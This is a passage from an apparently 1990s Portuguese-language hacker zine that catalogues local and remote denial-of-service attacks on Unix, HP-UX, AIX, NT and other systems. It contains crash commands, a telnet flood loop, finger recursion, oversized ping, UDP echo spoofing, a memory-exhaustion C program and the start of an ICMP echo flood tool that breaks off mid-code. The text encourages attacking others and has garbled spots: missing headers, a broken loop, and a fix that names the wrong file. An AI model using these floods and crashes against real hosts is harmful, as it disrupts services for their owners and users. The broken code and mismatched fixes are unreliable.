	$ndd /dev/udp udp_status


  (11). Unix antigo & tape driver

	Em sistemas Unix  antigos (mc68000 based, System V release 2.2), po-
  de-se travar a maquina tentando-se ascessar  um arquivo device tape driver
  ao qual nao existem nenhum tape driver fisico associado.


			    -=-=-=-=-[*]-=-=-=-=-
    

  [ 1.2 DoS Local - HP-UX ]
		
  (1). HP-UX & Nettune

	/usr/contrib/bin/nettune e SETUID root. Devido a isso, qualquer usu-
  ario do  sistema pode resetar  qualquer parametros  presentes no  kernel a
  respeito d ICMP, IP e TCP.. por exemplo:

	- arp_killcomplete 
	- arp_killincomplete
	- arp_unicast 
	- arp_rebroadcast
	- icmp_mask_agent
	- ip_defaultttl
	- ip_forwarding
	- ip_intrqmax
	- pmtu_defaulttime
	- tcp_localsubnets
	- tcp_receive
	- tcp_send
	- tcp_defaultttl
	- tcp_keepstart 
	- tcp_keepfreq
	- tcp_keepstop
	- tcp_maxretrans
	- tcp_urgent_data_ptr
	- udp_cksum
	- udp_defaultttl 
	- udp_newbcastenable 
	- udp_pmtu
	- tcp_pmtu
	- tcp_random_seq

  Uma forma d se prevenir disso seria setar-se as permissoes corretas no ar-
  quivo /sbin/mount_union.
  Ex:
	#chmod u-s /sbin/mount_union
	
  
  (2). HP-UNX 10.1 & rplayd
	
	Se vc rodar rplayd sem nenhum parametro, ira causar um kernel panic.

  
  (3). HP-UX 7.0.

	Esse programa abaixo ja foi testado em maquinas HP9000/340 rodando o
  HP-UX 7.0... tudo oq vc tem a fazer e colocar um & =)
  Ex:
  main()
  {
    char hostname[100];
    unsigned int size = 100;
    
    /* Se vc acidentalmente colocar um &, a makina trava!
       eg. gethostname( hostname, &size);
    */
    
    if ( gethostname( hostname, size) != 0 )
	printf("gethostname() failed \n");
    else
	printf("gethostname = %s\n", hostname);
  }

			    -=-=-=-=-[*]-=-=-=-=-
    

  [ 1.3 DoS Local - Linux/FreeBSD ]
		
  (1). Bloqueando login em RH/Debian
		
	Em alguns sistemas (Red Hat 3.0.3/Debian 1.2), qualquer usuario pode
  facilmente bloquear outras pessoas d se logar.
  Ex:
	  $ nvi /var/log/wtmp


  (2). Pau via mount_union

	Executando-se uma sequencia do mount_union, qualquer usuario pode o-
  carionar um boot do sistema, em todos os FreeBSD 2.x, antes d 1996-05-18.
  Ex:
	  $ mkdir a
	  $ mkdir b
	  $ mount_union ~/a ~/b
	  $ mount_union -b ~/a ~/b

  A solucao basica e setar-se corretamente o /sbin/mount_union.
  Ex:
	  #chmod u-s /sbin/mount_union


			    -=-=-=-=-[*]-=-=-=-=-
    

  [ 1.4 DoS Local - DG/UX ]

  (1). Pane via ulimit

	ulimit e utilizado para setar-se um limite nos recursos  disponiveis
  pelo  sistema  a shell. Se  ulimit 0 for chamado  antes  do /etc/passwd, o
  passwd sera zerado.


			    -=-=-=-=-[*]-=-=-=-=-

  
  [ 1.5 DoS Local - AIX ]
	
	malloc(3) e merda. Essa chamada nao ira dar crash no kernel, mas ira
  matar processos  aleatoriamente. Seu servidor  X pode cair e travar toda a
  makina.

/* 
  Programa exemplo q falha devido a ideia da IBM a
  respeito dq malloc() deveria fazer.

  Rode-o por um tempo e saia normalmente.
  (o sistema torna-se mais lento por um tempo...)

  No caso de AIX, rode-o por um tempo e:
   1) o processo termina-se;
   2) MUITOS processos sao kilados.
      No X, usuarios serao travados :)
*/

#include 
#include 

#define PADCOUNT 262143
#define STEP 200

 /* Use tanta memoria quanto o sistema permitir  */
main()
{
    struct chunk {              /* 1 mega */
	struct chunk *next;
	long pad[PADCOUNT];
    } *tmp, *head= NULL;

    int k, count= 0;

    for(;;) {
	/* Tente alocar outro mega */
	tmp= (struct chunk *) malloc(sizeof(*tmp));
	if(tmp==NULL) break;

	/* Reporta contador megabyte */
	count++;
	printf("%d megabyte%s\n", count, (count>1 ? "s": ""));

	/* Link em uma listagem simples */
	tmp->next= head;
	head= tmp;

	/* Use a memoria alocada */
	for(k= 0; kpad[k]= k;
	}
    }

    printf("Freeing %d megabyte%s\n", count, (count>1 ? "s" : ""));
    for (tmp= head; tmp!= NULL;) {
	head= tmp->next;  free(tmp);  tmp= head;
    }
}

			    -=-=-=-=-[*]-=-=-=-=-

  
  [ 1.6 DoS Local - VAX ]

	Um jeito interessantes de bootar-se uma maquina VAX rodando Ultrix
  V2.0-1 System #3 e a seguinte.
  Ex:
	  % mkdir foo
	  % cd !$
	  % mkdir ../../foo
	  % mv !$ ..

			    -=-=-=-=-[*]-=-=-=-=-


  [ 1.7 DoS Local - Microsoft Windows ]

  (1). Grande arquivo de cache

	Se o sistema NT possui um arquivo grande de  cache ativado, qualquer
  um pode consumir 100% de tempo da CPU. Apenas transfira um arquivo grande
  d um servidor p/ um drive d rede compartilhado.

  
  (2). Links destrutivos

	Clicar-se no link a seguir ira danificar o sistema. Note q em alguns
  sistemas, ocorrera um simples erro...

	(1) Afeta algumas  versoes do Explorer.. ele simplesmente ira entrar
	em loop se for mandado a inicar um cineminha... :)
	
	file://aux

	(2) Putz.. esse afeta Netscape 1.1N (vovo usa um desses).
	
	http://xxx.xxx.xxx.
	xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
	xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
	xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
	xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.
	xxx.xxx.xxx.xxx...

	(3) Chamadas a arquivos especificos podem causar varios problemas.

	file:/dev/mouse
	file:/dev/zero
	file:/dev/mmap
	file:/proc/kcore

  

			    
			    -=-=-=-=-[*]-=-=-=-=-


  [ 2. - DoS Remoto ]
       
       Voce pode estar pensando..." - Maravilha... eu consigo atacar um sis-
  tema local c eu tiver uma conta nele, e quanto aos sistemas q eu nao tenho
  ascesso?". Bem, existe uma variedade d diferentes ataques d rede que podem
  ser lancados a  hosts remotos. A grande vantagem  de tudo isso, e que  nao
  existem muitas fire walls realmente capazes d bloquear um DoS bem planeja-
  do... e, assim como elas tambem  sao poucas, ainda menores sao seus utili-
  zadores. Mas logo logo isso vai mudar... entao aproveite.

       O DoS Remoto, e um ataque denial of service, q pode ser executado sem
  estar-se logado ao sistema. Ou seja, e o mais grave d todos...
  
  
  [ 2.1 DoS Remoto - Sistemas Nao Especificos *ix's ]
  
  (1). Shh & PPP

	Se uma coneccao ppp via ssh cair, todos os processos controlados por
  ele irao  entrar em parafuso. Os processos  nao pode ser interrompidos com
  um kill -9 -1. P/ mata-los, mate o sshd.

  
  (2). Login via SSH

	ssh pode ser  utilizado p/ bloquear-se um login. Apenas force o sshd
  a pedir por um  passwd durante o login. Conecte-se ao sistema mas nao for-
  neca o passwd. Ate q vc forneca o passwd ninguem mais podera se logar.
  Esse e um problema tipico d configuracao.

  
  (3). FLEXlm

	Qualquer sistema rodando FLEXlm pode fazer com que  o FLEXlm license
  manager daemon tome um belo shutdown atraves do comandos lmdown.
  Ex:
	 # lmdown -c /etc/licence.dat
	 lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.

	 Shutting down FLEXlm on nodes: xxx
	 Are you sure? [y/n]: y
	 Shut down node xxx
	 #

  
  (4). Booting via TFTP

	Para dar boot workstations  burras, tente usar  o tftp com o rarp ou
  bootp. Se a estacao nao estiver protegida, um atacante atraves do tftp po-
  dera com sucesso reiniciar o host.

  
  (5). Atacando USENET

	Pode-se ser possivel cancelar-se o artigo d outra pessoa, destruir-c
  um newsgroup ou mesmo enviar-se um artigo falso a Usenet.
  Ver FAQ:alt.2600 #15.


  (6). Ping Flood

	Um flood d ping simples pode-se ser executado via Unix.
  Ex:
	 ping -s host (enviar pacotes d 64 bytes.)

  Em W95, pode-ser fazer o seguinte...
  Ex:
	 PING -T -L 256 xxx.xxx.xxx.xx. (inicie +- 15 sessoes.)

  
  (7). finger

	Muitas configuracoes e instalacoes  do finger  suportam redireciona-
  mento p/ outros hosts.
  Ex:
	 $finger @sistema.dois.com@sistema.um.com

  O finger ira por exemplo para o sistema um e p/  o sistema dois, no entan-
  to, o sistema dois sabera qe quem esta executando o finger e o sistema um.
  Alem de poder-se realizar um finger camuflado, essa tecnica pode ser usado
  num  forte DoS.
  Ex:
	 $ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@lamer.com.br

	As arrobas irao fazer com q o host se auto-finger num loop enorme...
  Isso reduz a performance do sistem, reduz a memoria disponivel e consome
  espaco em disco deviao ao grande numero de processos filhos.

  
  (8). Clientes Lynx

	Um servidor  WWW ira gerar um processo httpd, como resposta a um pe-
  dido de um cliente, tipico  por  exemplo um Netscape ou  Mosaic. O proces-
  so usa em sua criacao, menos de 1 segundo, e ninguem sera capaz d observa-
  lo atraves d um simples ps.
  Muitas vezes e possivel enviar-se um ataque DoS seguro, q ira fazer uso de
  multiplos clientes WWW, tipicamente clientes Lynx.
  O netstat pode ser usado para detectar-se o ataque... Alguns servers httpd
  como por exemplo o http-gw, irao ter problemas alem d diminuicao e perfor-
  mance e reducao d memoria.... O atacante pode forcar o sistema a entrar em
  loop.


  (9). Telnet flood
  
  Ex:
	 while : ; do
	 telnet alvo.com.br &
	 done

	Um DoS atraves desse  script ira reduzir a performance do sistema...
  Perto do ataque via  finger esse script e muito menos potente, no entanto,
  alguns versoes d firewalls e httpds, "pensam" que esse ataque e um loop, e
  simplesmente desligam-se ate q o admin envie um kill -HUP.

  
  (10). Bloqueando-se contas

	Varios sistemas irao desabilitar uma certa conta apos um numero N de
  logins falhos.. ou entao  irao esperar N  segundos. Isso pode-se ser uzado
  para executar-se um DoS.

  
  (11). Bloqueando-se servicos

	Varios sistemas Unix desabilitam um servico quando um numero N d se-
  coes forem abertas ao mesmo tempo. O default geralmente e 800 - 1000, mas
  no SunOs, esse default e reduzido p/ 48  =)

  
  (12). Congelando o X-Win

	Se um host aceitar uma secao telnet na a porta do X-Wins (geralmente
  entre 6000 e 6025), o mesmo pode ser usado para congelar-se todo o sistema
  X-Win. Isso pode ser  feito com multiplas secoes telnet p/ a porta, com um
  programa q envia multiplos XOpenDisplay ().
  O mesmo ocorre com o Motif ou Open Windows.

  
  (13). Broadcast FuCk

	Esse e um metodo popular em redes, de forma que todos os hosts atuam
  como gateways. Existem varias versoes dessa ataque, mas o metodo basico, e
  enviar-se varios pacotes p/ todos os hosts da rede, com um destinatario qe
  simplesmente  nao existe (spoof). Cada host  ira tentar "responder" a cada
  pacote, assim, os pacotes  irao passear na  rede por muito, muito tempo...
  Se novos pacotes chegarem, logo a rede estara em apuros.
	Servicos que podem ser usados para esse tipo de ataque podem ser por
  exemplo o  ping, finger e sendmail. No entanto, grande parte  dos servicos
  pode ser comprometida de um jeito ou de outro.

  
  (14). FTP anonimo
  
	Se um arquivo via FTP anonimo possuir +w p/ o usuario remoto, e pos-
  sivel simplesmente  lotar-se o HD do sistema. Pode-se tb  travar o sistema
  atraves d multiplos pedidos d coneccao a porta d FTP.


  (15). Mal uso do SMRM

	O SMRM (subnet mask reply message) e usado  durante o reboot, mas no
  entanto, alguns host aceitam o recebimento de  tais mensagens sem ao menos
  checa-las. Assim, qualquer forma de comunicacao do ou para o host pode ser
  cancelada.
  O host deve apenas aceitar esse reply na hora do reboot!


  (16). Email Bomb & Email Spamming

	Em uma ataque d mail bomb, o atacante ira enviar varias mensagens i-
  denticas para um certo endereco. O efeito e reducao de  performance, dimi-
  nuicao d HD livre, .. No caso do mail spam, a diferencao e q o mail bomb e
  enviado a varios ou a todos os usuarios do sistema.


  (17). Applets Hostis

	Um applet hostil, e qualquer applet q ira tentar usar seu sistema de
  forma inapropriada. Os problemas na linguagem java, sem querer entrar numa
  discussao altamente tecnica, podem ser dividos em 2 grupos:

	1) Problemas devido a bugs;
	2) Problemas devido a falhas da linguagem.

  Varios problemas ainda sao atualmente encontrados no que se refere a ambos
  os niveis de problemas. Um exemplo foi a avaliacao de seguranca do BB. Por
  isso, e mais seguro e recomendavel deixar-se os recursos Java desativados.
 
			    
			    -=-=-=-=-[*]-=-=-=-=-

  
  [ 2.3 DoS Remoto - Sistemas especificos ]

	Tais ataques sao especificos d certas versoes e Sistemas Operaciona-
  is.

  (1). SunOS Kernel Panic

	Algumas versoes  do SunOS (nao estou certo  se eles precisam estarem
  rodando o TIS) ira ter um  kernel panic se um  getsockopt () for realizado
  apos uma conecao ter sido resetada.


  (2). UDP & SUNOS 4.1.3.

	SunOS 4.1.3 e conhecido por rebootar-se se um pacote com informacoes
  incorretas em seu cabecalho for enviado a ele. Esse erro deve ser mais es-
  pecificamente se o ip_options indicar o tamanho errado do pacote.


  (3). Telnet & Solaris 2.4

	Se alguem se conectar via  telnet em uma makina Solaris 2.4 e termi-
  nar sua conecao atraves de:
	
	Control-}
	quit

  O sistema entra num loop infinito...


  (4). Linux & TCP Time/Daytime

	O Inetd do Linux e famoso por travar se varios pacotes SYN forem en-
  viados a porta daytime e/ou a porta time.


  (5). Paragon OS Beta R1.4

	Paragon e a plataforma d supercomputadores da Intel, desenhadas para
  obter alta performance.. sao usado em pesquisas cienticas e computacao al-
  tamente  tecnica. Se alguem redirecionar um pacote ICMP para um Paragon OS
  beta R1.4, a  maquina ira  travar e sofre um reboot. Esse redirecionamento
  do  pacote, faz com que  a maquina sobre-escreva  suas  tabelas de  route.

  (6). Netware FTP

	O servidor FTP da Netware da Novell ira  reduzir sua memoria se mul-
  tiplas secoes de FTP forem a ele conectadas.
 
			    
			    -=-=-=-=-[*]-=-=-=-=-

  
  [ 2.4 DoS Remoto - Microsoft ]

  (1). ISS 2.0 em NT

	 Ok.. vamos ver um DoS simples.. nesse caso, e necessario q o siste-
  ma seja um NT 4.0, rodando o IIS 2.0... Basta vc dar um telnet na porta 80
  e dar um simples GET ..\.. e o servidor trava.

 
  (2). Dot Dot bug

	O compartilhamento d arquivos do NT, e vulneravel  ao bug do dot dot
  sob ambiente W95, assim, qualquer  um pode travar o sistema. Se alguem en- 
  viar um "DIR ..\" para a workstation, uma  mensagem d STOP ira aparecer na
  tela do computador NT. Note q isso funciona apenas em versoes 3.50 e 3.51,
  tanto em servidores como em workstations.

 
  (3). Consumindo 100% de CPU I

	Telnet para  135 e envia alguns caracteres  aleatorios e disconecte.
  Isso ira causar o processo  rpcss.exe a comecar a consumir todos os ciclos
  disponiveis.
 
 
  (4). Consumindo 100% de CPU II

	Telnet para 6558, tecle alguma letra e d enter.

 
  (5). Consumindo 100% de CPU III

	Telnet p/ porta 53, envie alguns caracteres aleatorios e disconecte.
  Tente tb as portas 1031 e 1040.

 
  (6). NT 4.0 & Servidor DNS

	O Servidor de DNS da Microsoft se auto-aborta se receber uma respos-
 ta d um query DNS q nunca foi feito.

  (7). Crash em sistemas via ping W95

	Esse DoS e possivel d ser realizado a partir de makinas c/ W95, note
  no entanto q ja existem programas q simulam esse ping, tornando possivel a
  exploracao da falha em qualquer sistema operacional.
	Se alguem q estiver rodando W95 for capaz d dar um ping em sua maki-
  na, essa pessoa pode conseguir com sucesso travar vc. Ele simplesmente ira
  rodar o ping.
  Ex:
	  ping -l 65510 sistema.com.br

  E o sistema trava. Principalmente  sistemas AIX (nao lembro a versao, acho
  q e 4.?.? ) sao vulneraveis... d qualquer forma, procure + infos..

			    
			    -=-=-=-=-[*]-=-=-=-=-

  
  [ 2.2 DoS Remoto - Multiprotocolar ]

	DoS Multiprotocolar foi o nome q eu dei a ataques q, independente do
  sistema operacional, funcionam  devido a falhas de  concepcao e m diversos
  protocolas, sejam IP, TCP ou mesmo UDP, ...

	Eu recomendo qe os interessados em obter maiores informacoes, peguem
  a phrack 48, onde o daemon9  fala sobre TCP/SYN flooding, e da uma demons-
  tracao do projeto Netuno.

  Quando fala-se em rede, a primeira palavra qur me vem a mente e protocolo.
  Caso vc esteja tentando floodar um host, q protocolo deve usar? Hmmm......
  dentre todos, os mais efetivos sao, com certeza, o ICMP e o UDP, devido ao
  fato de eles nao terem necessidade d estabeler uma coneccao, como e o caso
  do TCP. No tentanto, o "syn flooding" e realmente uma prova dq ate mesmo o
  TCP pode ser usado p/ fins um tanto quanto distorcidos dos seus propositos
  originais.

  
  (1). TCP/Syn Flood

	Varios zines relataram diversas informacoes a respeito d ataques via
  floods d syn, chegando ate mesmo a publicar o codigo para tal (oq eu real-
  mente estou sem saco pra fazer). Mas, vai uma explicacao basica:
	
	Como sabemos, o pacote  syn faz parte do  famoso aperto tripo de mao
  (3-way handshake) na coneccao d computadores via TCP.. Esse flood e basea-
  do numa coneccao incompleta. Ou seja, o atacante envia centenas de pedidos
  syn, mas nao  responde a nenhum pacote  ack. O stack do TCP/IP ira esperar
  por um certo tempo antes de  simplesmente descartara a  conecao... o flood
  funciona pois ira manter o syn_received da makina alvo lotado.


			 A                       B
			    ---------> SYN
			    <--------- SYN/ACK
			    ---------> ACK


  (2). Floods SMTP

	Esse tipo d flood e realmente simples devido ao fato do SMTP ira
  aceitar qualquer merda que lhe seja enviada. E claro que filtros podem ser
  usados, mas um mail bomb qualquer pode realmente ser prejudicial a um ser-
  ver.. principalmente se a sua conecao for realmente rapida, e possivel en-
  viar grandes pacotes e deixar o server no chao. :P

  
  (3). Fodendo-se Servicos UDP

	E simples fazer-se com q servicos UDP entrem em loop constante devi-
  do a um facil IP-spoofing. O efeito classico sera a reducao d performance,
  a qual faz com que a rede torne-se  praticamente  inutilizavel. Um exemplo
  simples seria fazer-se com q o cabecalho tivesse como origem o loopback, e
  o alvo seria no caso a porta d echo. 
  Ex:

	Origem-IP = 127.0.0.1
	Alvo-IP   = alvos.com.br
	Pacote:   UDP
	da        UDP port 7
	para      UDP port 7

	Note no exemplo q o nome alvo.com.br e um DNS, mas o alvo dev sempre
  ser representado pelo numero do IP.
  Devido a facilidade de  execucao desse ataque, varias pessoas recomendam a
  nao utilizacao d loopback quando-se conectado a uma rede. Ou ao menos usar
  o echo como TCP ao inves de UDP.

  
  (4). Floods ICMP_ECHO
	   
	Esse tipo d ataques e um dos mais comuns, devido ao fato de serem u-
  sado principalmente  pelos lamers de  IRC para killar outros user.. assim, 
  varias pessoas acabam recebendo k-lines e outras coisas...
  De qualquer forma, abaixo vai um codigo q exploita esse tipo de DoS.
	Basicamente o codigo funciona pois os sistemas Unix irao executar um
  reply de um pedido ICMP continuamente, sem perceber que  fazendo isso irao
  prejudicar o sistema, respondendo a certos pacotes q ele considera simples
  ICMPs. Agora, adicionando-se um IP spoofer a esse setup, faz com q a coisa
  fique  aida mais interessante pois o computador  ira travar enquanto tenta
  dar um reply a esses ECHOs, ao mesmo tempo que novos  ECHOs sao executados
  pelo sistema... :P
  E similar ao ataque UDP na pora d ECHO.


  /* --- Cut here ----------------------------------------------------------
 *
 * echok.c
 * ICMP_ECHO Killer
 * 
 * Author: Zakath    Credits:  LOTSA thanks to crisk
 * Don't be fooled. Very little is my orig code.
 * [03.13.96]
 */

#define RESOLVE_QUIET
#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 
#include 

#define ECHOK_VER "1.4"

/* GENERAL ROUTINES ------------------------------------------- */

void banner(void)
	{
	printf("\n                  * ICMP ECHO Killer [v%s] - by Zakath *", ECHOK_VER);
	   printf("\n               * Code based on works by Crisk & Mike Muuss *\n\n");
	}
	
void usage(const char *progname)
	{
	printf("\nusage:\n  ");
	printf("%s [-f <-n number>] [-s packet size] [-w wait]  \n\n",progname);
	printf("\t-f          : enable flooding  (ping -f)\n");
	printf("\t-n  : number of pings to send\n");
	printf("\t-s    : ICMP_ECHO Packet Size [Default is 64]\n");
	printf("\t-w